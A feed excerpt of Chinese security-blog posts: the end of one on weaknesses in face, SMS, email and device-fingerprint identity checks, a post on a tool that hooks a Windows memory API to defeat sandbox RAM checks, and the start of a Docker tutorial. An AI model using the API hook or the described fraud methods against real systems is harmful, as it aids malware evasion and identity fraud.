data-change-font="1" style="font-size: 17px;color: rgb(51, 51, 51);font-style: normal;text-decoration: none solid rgb(51, 51, 51);">同样，由于第4步成本很高，所以，不少平台也没有做4步。而这些平台在动作识别方面也是非常套路，无非就几个动作：点头，摇头，眨眼，张嘴，一般校验过程也就2个动作。</span></p><p style="text-align: left;"><span data-change-font="1" style="font-size: 17px;color: rgb(51, 51, 51);font-weight: normal;font-style: normal;text-decoration: none solid rgb(51, 51, 51);">所以这也就给黑产有了伪造的机会，它们可以制造视频来绕过人脸识别。按照排列组合理论，需要64个视频就可以模仿一个真人。他们要么让人拍这种视频，要么就是剪辑出来。这种剪辑方式，只需要取这四类动作就行了。</span></p><p style="text-align: left;">而这种剪辑视频的来源，网上发布的视频，直播间（有些恶意人会冒充粉丝通过话术诱导主播做这四类动作），线上会议（有些会议密码被泄露），诈骗分子冒充公检法要求和你视频（<a localeditorid="5rism2vncwk00000000" href="https://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&amp;mid=2247486582&amp;idx=1&amp;sn=714f5e76a12c7af092bd45ed860eaa4f&amp;scene=21#wechat_redirect" textvalue="家人险被人以疫情借口诈骗的案例分析" target="_blank" data-linktype="2">家人险被人以疫情借口诈骗的案例分析</a>）。</p><p style="text-align: left;">所以，大家不要随便在网上发视频或直播。如果确实要做，一定要做到：美颜有多大就开多大，让阿妈都不认得为止。</p><p style="text-align: left;">其实，即使平台做了第4步，和政府政务系统对接，结合真实身份证和视频也是可以伪造的。在缅北那边，那些被榨干价值从世间消失的人，只要有身份证和视频留下，在人脸识别系统中，也还是一个活人。</p><p style="text-align: left;">在这一块，app可以做得更好一点，把人脸识别和语音识别结合。每次人脸识别，都要求用户读取屏幕提示的词语，词语从词库里随机抽取，这个词库有成千上万个词语，且会动态增减。那么，要绕过，必须要制造几万个视频。这种成本是非常高的。</p><p style="text-align: left;">这种手段不仅可以完全防止这种使用视频伪造身份的行为。而且还可以救命，救很多很多人的命。因为用视频已经绕不过了，必须用真人了，那么，那些被骗到缅北的人，就一直有活着的机会，而不会录完视频之后，就要被割腰子了。</p><p style="text-align: center;"><span style="font-size: 28px;">手机号</span></p><p style="text-align: left;"><span data-change-font="1" style="font-size: 17px;color: rgb(51, 51, 51);font-style: normal;text-decoration: none solid rgb(51, 51, 51);">​目前平台喜欢向用户手机号发送验证码来验证用户身份。由于数据保护，数据安全和隐私保护，运营商的数据和这些平台是不共享，所以，通过这种方法来验证用户身份，并不能验证该手机号是这个用户，只能说明用户能够拿到这个验证码。只是平台认为这种方式能够识别用户身份。</span></p><p style="text-align: left;">所以，灰黑产就有办法来伪造身份了，它们往往会使用一些接码平台来接收这个验证码或向手机号主人发诱导信息或钓鱼网站，让对方给他验证码。对于那些绑定手机号的平台，他们会通过买别人手机号的方式来养号。</p><p style="text-align: left;">由于现在不少平台的转账，只要有账号，支付密码和绑定手机验证码，就可以了。所以，这个验证码不能随便给人。案例可见</p><p style="text-align: left;"><a localeditorid="sj1w6p5fg2o0000000" href="https://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&amp;mid=2247486575&amp;idx=1&amp;sn=ae6f3cb9c0353c912be01fad6e0db9bc&amp;scene=21#wechat_redirect" textvalue="搜狐中招钓鱼邮件诈骗攻击手法分析" target="_blank" data-linktype="2">搜狐中招钓鱼邮件诈骗攻击手法分析</a></p><p style="text-align: left;"><a localeditorid="74rwucdichg00000000" href="https://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&amp;mid=2247489332&amp;idx=1&amp;sn=8e1f5e1a5eb65e3b365a26eb167b9012&amp;scene=21#wechat_redirect" textvalue="三分钟破译七天卷走过亿资金的钓鱼诈骗组织的关键加密js" target="_blank" data-linktype="2">三分钟破译七天卷走过亿资金的钓鱼诈骗组织的关键加密js</a></p><p style="text-align: center;"><span style="font-size: 28px;">电子邮箱</span></p><p style="text-align: left;"><span data-change-font="1" style="font-size: 17px;color: rgb(51, 51, 51);font-style: normal;text-decoration: none solid rgb(51, 51, 51);">​电子邮箱更加不用说。很多私人邮箱根本就随便申请，无法和个人身份绑定。虽然现在不少邮箱申请要求提供手机号，但还是有不少邮箱是不用手机号。所以，平台使用邮箱识别个人身份，基本是没啥用。而且有些平台更加恶心，对国内人必须要求手机号，而对境外只要求邮箱就行了，就差点把“华人与狗不得入内”放在首页上。相信不少读者知道我说的是哪个平台。</span></p><p style="text-align: left;"><span data-change-font="1" style="font-size: 17px;color: rgb(51, 51, 51);font-style: normal;text-decoration: none solid rgb(51, 51, 51);">灰黑产使用邮箱伪造身份，很多时候是为了推广或诈骗。比如伪造发件人，如<a localeditorid="ytf1x9vaa0w0000000" href="https://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&amp;mid=2247486575&amp;idx=1&amp;sn=ae6f3cb9c0353c912be01fad6e0db9bc&amp;scene=21#wechat_redirect" textvalue="搜狐中招钓鱼邮件诈骗攻击手法分析" target="_blank" data-linktype="2">搜狐中招钓鱼邮件诈骗攻击手法分析</a>。</span></p><p style="text-align: left;"><span data-change-font="1" style="font-size: 17px;color: rgb(51, 51, 51);font-style: normal;text-decoration: none solid rgb(51, 51, 51);">对于这种方法手段的防护，往往是开启spf，dkim和dmarc校验。但对于一个被入侵的邮箱，是无效的。</span></p><p style="text-align: left;"><span data-change-font="1" style="font-size: 17px;color: rgb(51, 51, 51);font-style: normal;text-decoration: none solid rgb(51, 51, 51);">所以，大家的邮箱一定要开启多因素认证，免得被盗了。</span></p><p style="text-align: center;"><span data-change-font="1" style="color: rgb(51, 51, 51);font-style: normal;text-decoration: none solid rgb(51, 51, 51);font-size: 28px;">手机指纹</span></p><p style="text-align: left;">各种平台都会采集手机系统信息，生成一个指纹，从而识别设备合法。这也是大家会经常遇到app提示是否信任新设备。</p><p style="text-align: left;">这种在表面上来看，和个人身份并没有关系。但由于平台对于每个人都会有一个标识，而这个标识也会和手机指纹绑定，从而识别个人身份。</p><p style="text-align: left;">由于很多平台是一个手机同时只能使用一个账号，成本很高，毕竟一台手机就几百块上千。所以灰黑产就使用越狱/root或定制rom这些手段来安装多开器或模拟器让一台手机模拟几台或用电脑模拟几十台上百台手机。这样，他们就可以一个人操纵数以万计的账号。这些账号就是传说中的水军，用来刷评论，刷点赞，转发。</p><p style="text-align: left;">而要防止这些，app就要实现反root反hook。这些实现起来需要不少成本，而且国内做app的人90%不具备这种技术能力。而很多平台呢，它们需要水军来撑场面。比如某个平台号称用户量以亿为单位，里面有个恶妓花有8800万多粉丝，每条信息的互动连粉丝数的4万分之一都没有，你觉得有多少是真实用户。</p><p style="text-align: left;">如果它没有水军，会不会只有几十万用户呢？如果你是投资者或广告商，会往只有几十万用户的平台投那么多钱吗？</p><p style="text-align: left;">当然，这种事情也是有报道的。大家可以搜索一下脸书虚拟账号的新闻</p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="2247489555">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=818c2d6c&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjY0NTExNA%3D%3D%26mid%3D2247489555%26idx%3D1%26sn%3D2e7aaf532933493609432ab87bd13679">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 01 Jul 2023 17:11:00 +0800</pubDate>
    </item>
    <item>
      <title>慎用！一个可绕过沙箱检测的工具</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&amp;mid=2247489552&amp;idx=1&amp;sn=4b6bb5209806d984e9207cfee5ff500c</link>
      <description>文末暗号</description>
      <content:encoded><![CDATA[<p>
原创 <span>debugeeker</span> <span>2023-06-13 11:22</span> <span style="display: inline-block;">广东</span>
</p>

<p>文末暗号</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2cd3f0d6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbw1tPy7guVu3E33iapFefmj5jndZUUye3ibYrE2dQGjfhFmQW6icLIsibq6LY9yOyy7weZOCAob1bOaXA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding-right: 10px;padding-left: 10px;line-height: 1.6;word-break: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: rgb(89, 89, 89);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">沙箱通常用于分析恶意软件。它们提供了一个临时、隔离且安全的环境，用于观察可疑文件是否表现出任何恶意行为。然而，恶意软件开发人员也开发了逃避沙箱和分析环境的方法。一种方法是通过检查来确定恶意软件运行的机器是不是由真人操作。其中一项检查是 RAM 大小。如果 RAM 大小小得不切实际（例如 1GB），则可能表明该机器是沙盒。如果恶意软件检测到沙箱，它不会执行其真正的恶意行为，并且可能看起来是一个良性文件。</p><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;">细节</h2><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">GetPhysicallyInstalledSystemMemory</p> API 从 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">SMBIOS</p> 固件表中获取计算机的物理内存量。它传入一个 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">PULONGLONG</p> 参数并在函数成功时返回 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">TRUE</p>，将 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">TotalMemoryInKilobytes</p> 设置为非零值。如果函数失败，则返回 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">FALSE</p><img class="rich_pages wxw-img" data-ratio="0.423728813559322" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="767" src="https://wechat2rss.xlab.app/img-proxy/?k=21ac48ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbw1tPy7guVu3E33iapFefmj5wUI44FTasOgCu6JuymvDqnoZe7GCYnpJGxn2qBT33TiamubfBia86xRw%2F640%3Fwx_fmt%3Dpng"/></div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">从<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">GetPhysicallyInstalledSystemMemory</p>函数获取的物理内存量必须等于或大于 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">GlobalMemoryStatusEx</p>函数报告的量；如果小于，则 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">SMBIOS</p> 数据格式错误且函数失败并显示 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ERROR_INVALID_DATA</p>，格式错误的 SMBIOS 数据可能表明用户计算机存在问题。</div></div></li></ul><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.7184986595174263" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="746" src="https://wechat2rss.xlab.app/img-proxy/?k=0121a341&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbw1tPy7guVu3E33iapFefmj5aDic3MjX0PZJ6UmMrCfBNP0aYgZmZQjb0SvgbP3Bf0hvx9UzD6icyBBw%2F640%3Fwx_fmt%3Dpng"/></figure><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);">寄存器 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">rcx</p> 保存参数 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">TotalMemoryInKilobytes</p>。为了修改 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">GetPhysicallyInstalledSystemMemory</p> 的跳转地址，我使用了以下操作码：<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">mov qword ptr ss:[rcx],4193B840</p>。这会将值 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">4193B840</p>（或 1.1 TB）移动到 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">rcx</p>。然后，<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ret</p> 指令用于从堆栈弹出返回地址并跳转到它，因此，无论何时调用 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">GetPhysicallyInstalledSystemMemory</p>，它都会将 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">rcx</p> 设置为自定义值。</div></li></ul><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.05976095617529881" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="753" src="https://wechat2rss.xlab.app/img-proxy/?k=4d0e7163&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbw1tPy7guVu3E33iapFefmj5kEKCaYgMYvAxcOOAV2N6SvzpevuYY7cI16PCmhcfnrruVamI49JVTA%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;">使用教程的视频</h2><p></p><p><span style="color: rgb(0, 82, 255);"><strong>工具代码链接获取方式，打赏后，自动返回代码链接</strong></span></p><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);">请点一下右下角的“在看”，谢谢！！</h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);">请帮忙点赞， 谢谢！！</h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);">请帮忙转发，谢谢！！</h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);">暗号: 648919</h1></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=21ac48ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbw1tPy7guVu3E33iapFefmj5wUI44FTasOgCu6JuymvDqnoZe7GCYnpJGxn2qBT33TiamubfBia86xRw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0121a341&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbw1tPy7guVu3E33iapFefmj5aDic3MjX0PZJ6UmMrCfBNP0aYgZmZQjb0SvgbP3Bf0hvx9UzD6icyBBw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4d0e7163&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbw1tPy7guVu3E33iapFefmj5kEKCaYgMYvAxcOOAV2N6SvzpevuYY7cI16PCmhcfnrruVamI49JVTA%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247489552">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8c21fcb6&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjY0NTExNA%3D%3D%26mid%3D2247489552%26idx%3D1%26sn%3D4b6bb5209806d984e9207cfee5ff500c">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 13 Jun 2023 11:22:00 +0800</pubDate>
    </item>
    <item>
      <title>docker安全实战3： 亲自动手设置多容器架构</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&amp;mid=2247489541&amp;idx=1&amp;sn=cd6445eb437fa889a2c9c87e78627401</link>
      <description>文末暗号</description>
      <content:encoded><![CDATA[<p>
原创 <span>debugeeker</span> <span>2023-06-08 07:32</span> <span style="display: inline-block;">广东</span>
</p>

<p>文末暗号</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e91aa572&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icutHzBX2u7lSf6iaIOpv5uGcoQib7NH7q3hfhyRK6XZzUVcIGbOP814SIw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding-right: 10px;padding-left: 10px;line-height: 1.6;word-break: break-word;overflow-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: rgb(89, 89, 89);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在这篇文章中，为一个简单的 HTTP 应用程序设置多容器架构，该应用程序将在端口 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">80</p> 上提供服务并与端口 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">11211</p> 上的 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Memcached</p> 服务器交互。
在此展示两种方法</div><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);">冗长的方法使用 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Docker</p> 拉取镜像，然后一个一个地部署，</div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);">使用 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker-compose</p>，简单的一个文件并一次性部署容器。</div></li></ul><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">为了防止安全配置错误，创建了一个在<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);"><a href="https://registry:5000" target="_blank">https://registry:5000</a></p> 上提供服务的本地 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker</p> 存储库, 使用它来将镜像从注册表拉取到本地文件系统。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.33611111111111114" data-type="png" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=0719caed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icuuLDNMRwKz9F2QicmPWWPrkia9NBUZszDIM6Xz7btEx1o33Ayibp08kic2Q%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span>使用 Docker CLI 执行部署</span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在系统上，当前没有拉取镜像。要检查这些镜像的名称，可以从注册表中调用目录 API。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.17222222222222222" data-type="png" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=1b4b0f2e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icuZ3unpZ5a07ye333dVRSvUFMPKt7EXeLib6bw9PF0qL1TDk72QT9vZww%2F640%3Fwx_fmt%3Dpng"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在所有这些中，使用两张镜像<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">appserver:latest</p>和<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">memcached-app:latest</p>。 所以通过<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker pull</p>命令拉它</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">docker pull registry:5000/appserverdocker pull registry:5000/memcached-app</p></pre><blockquote data-tool="mdnice编辑器" style="border-top: none;border-bottom: none;font-size: 0.9em;overflow: auto;padding: 10px 10px 10px 20px;margin: 10px 5px;border-left-color: rgb(150, 84, 181);border-right: 1px solid rgb(150, 84, 181);color: rgb(97, 97, 97);quotes: none;background: rgb(251, 249, 253);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">注意：只有一个标签可用于这些镜像（<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">latest</p>），可以在编写拉取镜像命令时忽略它，因为默认情况下 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker</p> 使用<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 